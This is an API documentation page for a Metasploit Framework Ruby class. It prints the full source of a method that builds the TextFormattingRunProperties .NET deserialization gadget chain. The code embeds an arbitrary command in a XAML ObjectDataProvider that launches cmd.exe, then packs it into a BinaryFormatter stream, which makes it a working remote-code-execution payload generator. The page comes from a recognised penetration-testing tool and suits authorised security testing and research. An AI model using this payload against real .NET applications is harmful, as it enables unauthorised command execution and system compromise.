Class: Msf::Util::DotNetDeserialization::GadgetChains::TextFormattingRunProperties

Inherits:
Types::SerializedStream
  • Object
show all
Defined in:
lib/msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties.rb

Class Method Summary collapse

Methods inherited from Types::SerializedStream

from_values, #get_object, #set_object

Class Method Details

.generate(cmd) ⇒ Object

TextFormattingRunProperties

Credits:
  Finders: Oleksandr Mirosh, Alvaro Munoz
  Contributors: Alvaro Munoz, Soroush Dalili


13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# File 'lib/msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties.rb', line 13

def self.generate(cmd)
  # see: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs
  resource_dictionary = Nokogiri::XML(<<-EOS, nil, nil, options=Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
    <ResourceDictionary
      xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
      xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml"
      xmlns:S="clr-namespace:System;assembly=mscorlib"
      xmlns:D="clr-namespace:System.Diagnostics;assembly=system"
    >
      <ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
          <S:String>cmd</S:String>
          <S:String>/c #{cmd.encode(xml: :text)}</S:String>
        </ObjectDataProvider.MethodParameters>
      </ObjectDataProvider>
    </ResourceDictionary>
  EOS

  library = Types::RecordValues::BinaryLibrary.new(
    library_id: 2,
    library_name: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
  )

  self.from_values([
    Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
    library,
    Types::RecordValues::ClassWithMembersAndTypes.from_member_values(
      class_info: Types::General::ClassInfo.new(
        obj_id: 1,
        name: 'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties',
        member_names: %w{ ForegroundBrush }
      ),
      member_type_info: Types::General::MemberTypeInfo.new(
        binary_type_enums: %i{ String }
      ),
      library_id: library.library_id,
      member_values: [
        Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(obj_id: 3, string: resource_dictionary))
      ]
    ),
    Types::RecordValues::MessageEnd.new
  ])
end